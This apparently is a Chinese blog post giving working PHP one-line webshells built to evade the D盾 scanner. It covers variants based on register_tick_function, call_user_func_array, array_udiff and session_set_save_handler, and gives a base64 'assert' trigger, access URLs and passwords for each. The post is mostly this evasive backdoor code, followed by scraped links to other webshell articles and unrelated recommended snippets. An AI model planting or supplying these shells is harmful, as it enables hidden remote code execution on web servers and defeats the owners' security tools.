最近在研究PHP一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。

现总结如下:

方案一:回调函数

回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

已被D盾查杀的函数:

array_filter() 
array_walk() 
array_walk_recursive() 
array_map() 
registregister_shutdown_function(); 
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce() 可疑(级别2) 
array_walk() 
array_walk_recursive()

1.register_tick_function()

构造一句话:

  1. <?php
  2. declare(ticks=1);
  3. register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);
  4. ?>

访问URL:

IP/XXX.php?e=YXNzZXJ0

密码:a

2.变种call_user_func_array()

尝试模仿正常函数调用,定义一个简单的function:

  1. <?php
  2. function newsSearch($para0){
  3. $evil=$para0;
  4. $exec=$_GET['id'];
  5. call_user_func_array($exec,array($evil));
  6. }
  7. newsSearch($_POST['tid']);
  8. ?>

使用D盾查杀。

0ops!!没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:

  1. <?php
  2. function newsSearch($para0,$para1){
  3. $evil=$para0;
  4. call_user_func_array($para1,array($evil));
  5. }
  6. $exec=base64_decode($_GET['id']);
  7. newsSearch($_POST['tid'],$exec);
  8. ?>

OK!完美绕过!

访问URL:

IP/XXX.php?id=YXNzZXJ0

密码:key 
同样的方法可以使用call_user_func函数,构造shell如下:

  1. <?php
  2. function newsSearch($para0,$para1){
  3. $evil=$para0;
  4. call_user_func($para1,$evil);
  5. }
  6. $exec=base64_decode($_GET['id']);
  7. newsSearch($_POST['tid'],$exec);
  8. ?>

3.变种array_udiff()

用相同的方法构造使用array_udiff()的shell:

  1. <?php
  2. function newsSearch($para0,$para1){
  3. $evil=$para0;
  4. $exec=$para1;
  5. array_udiff($arr=array($evil),$arr1 = array(''),$exec);
  6. }
  7. $exec=base64_decode($_REQUEST['exec']);
  8. newsSearch($_POST['key'],$exec);
  9. ?>

访问URL:

IP/XXX.php?exec=YXNzZXJ0

密码:key

剩下的回调函数也可以用相同的方法绕过D盾。

4.session_set_save_handler

session_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。

编写shell如下:

  1. <?php
  2. error_reporting(0);
  3. $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
  4. function open($save_path, $session_name) // open第一个被调用,类似类的构造函数
  5. {}
  6. function close() // close最后一个被调用,类似 类的析构函数
  7. {
  8. }
  9. session_id($_REQUEST['op']);// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
  10. function write($id, $sess_data)
  11. {}
  12. function destroy($id)
  13. {}
  14. function gc()
  15. {}
  16. // 第三个参数为read read(string $sessionId)
  17. session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
  18. @session_start(); // 打开会话
  19. ?>

使用D盾查杀。$session被解析为assert,猜测D盾认为该函数的参数中不应该含有assert等敏感函数,否则就挂掉!把$session用GET输入试试:

  1. $session=$_REQUEST['id'];

看来只要参数中含有敏感函数、GET、POST、REQUEST都会报错! 
尝试创建一个用户函数,在函数中调用session_set_save_handler(),并将assert作为参数传入:

  1. <?php
  2. error_reporting(0);
  3. //$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
  4. function test($para){
  5. session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
  6. @session_start(); // 打开会话
  7. }
  8. $session=base64_decode($_REQUEST['id']);
  9. // open第一个被调用,类似类的构造函数
  10. function open($save_path, $session_name)
  11. {}
  12. // close最后一个被调用,类似 类的析构函数
  13. function close()
  14. {
  15. }
  16. // 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
  17. session_id($_REQUEST['op']);
  18. function write($id, $sess_data)
  19. {}
  20. function destroy($id)
  21. {}
  22. function gc()
  23. {}
  24. // 第三个参数为read read(string $sessionId)
  25. test($session);
  26. ?>

完美绕过!

访问URL:

IP/XXX.php?id=YXNzZXJ0

密码:op

PHP一句话木马研究的更多相关文章

  1. 探索基于.NET下实现一句话木马之asmx篇

    0x01 前言 上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款a ...

  2. 技术的正宗与野路子 c#, AOP动态代理实现动态权限控制(一) 探索基于.NET下实现一句话木马之asmx篇 asp.net core 系列 9 环境(Development、Staging 、Production)

    黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙. 这段描写出自<倚天屠龙记>第三十八回. “九阴神抓”本是& ...

  3. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  4. 渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  5. 通过mysql写入一句话木马

    USE mysql;# MySQL 返回的查询结果为空(即零行). # MySQL 返回的查询结果为空(即零行). CREATE TABLE a( cmd1 text NOT NULL );# MyS ...

  6. 通过mysql写入php一句话木马

    利用mysql写入一句话木马 前提: root权限,知道了服务器的web的绝对路径 select "<?php @eval($_POST['pass']);?>" IN ...

  7. php一句话木马

    一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能. 为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了发送的命令. 通过GET .POST . ...

  8. 探索基于.NET下实现一句话木马之ashx篇

    0x01 前言 在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句 笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终 ...

  9. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

随机推荐

  1. Spring Cache缓存技术的介绍

    缓存用于提升系统的性能,特别适用于一些对资源需求比较高的操作.本文介绍如何基于spring boot cache技术,使用caffeine作为具体的缓存实现,对操作的结果进行缓存. demo场景 本d ...

  2. 使用Runnable接口创建线程

    实现Runnable接口的类必须使用Thread类的实例才能创建线程.通过Runnable接口创建线程分为两步: 1.将实现Runnable接口的类实例化. 2.建立一个Thread对象,并将第一步实 ...

  3. GBDT算法

    GBDT通过多轮迭代,每轮迭代产生一个弱分类器,其中弱分类器通常选择为CART树,每个分类器在上一轮分类器的残差基础上进行训练. 对于GBDT算法,其中重要的知识点为: 1.GBDT是梯度下降法从参数 ...

  4. 图的基本操作(基于邻接表):图的构造,深搜(DFS),广搜(BFS)

    #include <iostream> #include <string> #include <queue> using namespace std; //表结点 ...

  5. C# SqlHerper

    1.C# SqlHelper public static class SqlHelper { private static readonly string conStr = Configuration ...

  6. Moment.js 一款JS时间封装库

    链接地址:http://momentjs.cn/docs/#/displaying/difference/

  7. 零宽断言 -- Lookahead/Lookahead Positive/Negative

    http://www.vaikan.com/regular-expression-to-match-string-not-containing-a-word/ 经常我们会遇到想找出不包含某个字符串的文 ...

  8. 读写分离,读写分离死锁解决方案,事务发布死锁解决方案,发布订阅死锁解决方案|事务(进程 ID *)与另一个进程被死锁在 锁 资源上,并且已被选作死锁牺牲品。请重新运行该事务

    前言:         由于网站访问压力的问题,综合分析各种因素后结合实际情况,采用数据库读写分离模式来解决当前问题.实际方案中采用“事务发布”模式实现主数据库和只读数据库的同步,其中: 发布服务器1 ...

  9. JS删除String里某个字符的方法

    关于JS删除String里的字符的方法,一般使用replace()方法.但是这个方法只会删除一次,如果需要将string里的所以字符都删除就要用到正则. 1 2 3 4 var str = " ...

  10. How AOT compares to a traditional JIT compiler

    Ahead-of-Time (AOT) compilation is in contrast to Just-in-Time compilation (JIT). In a nutshell, .NE ...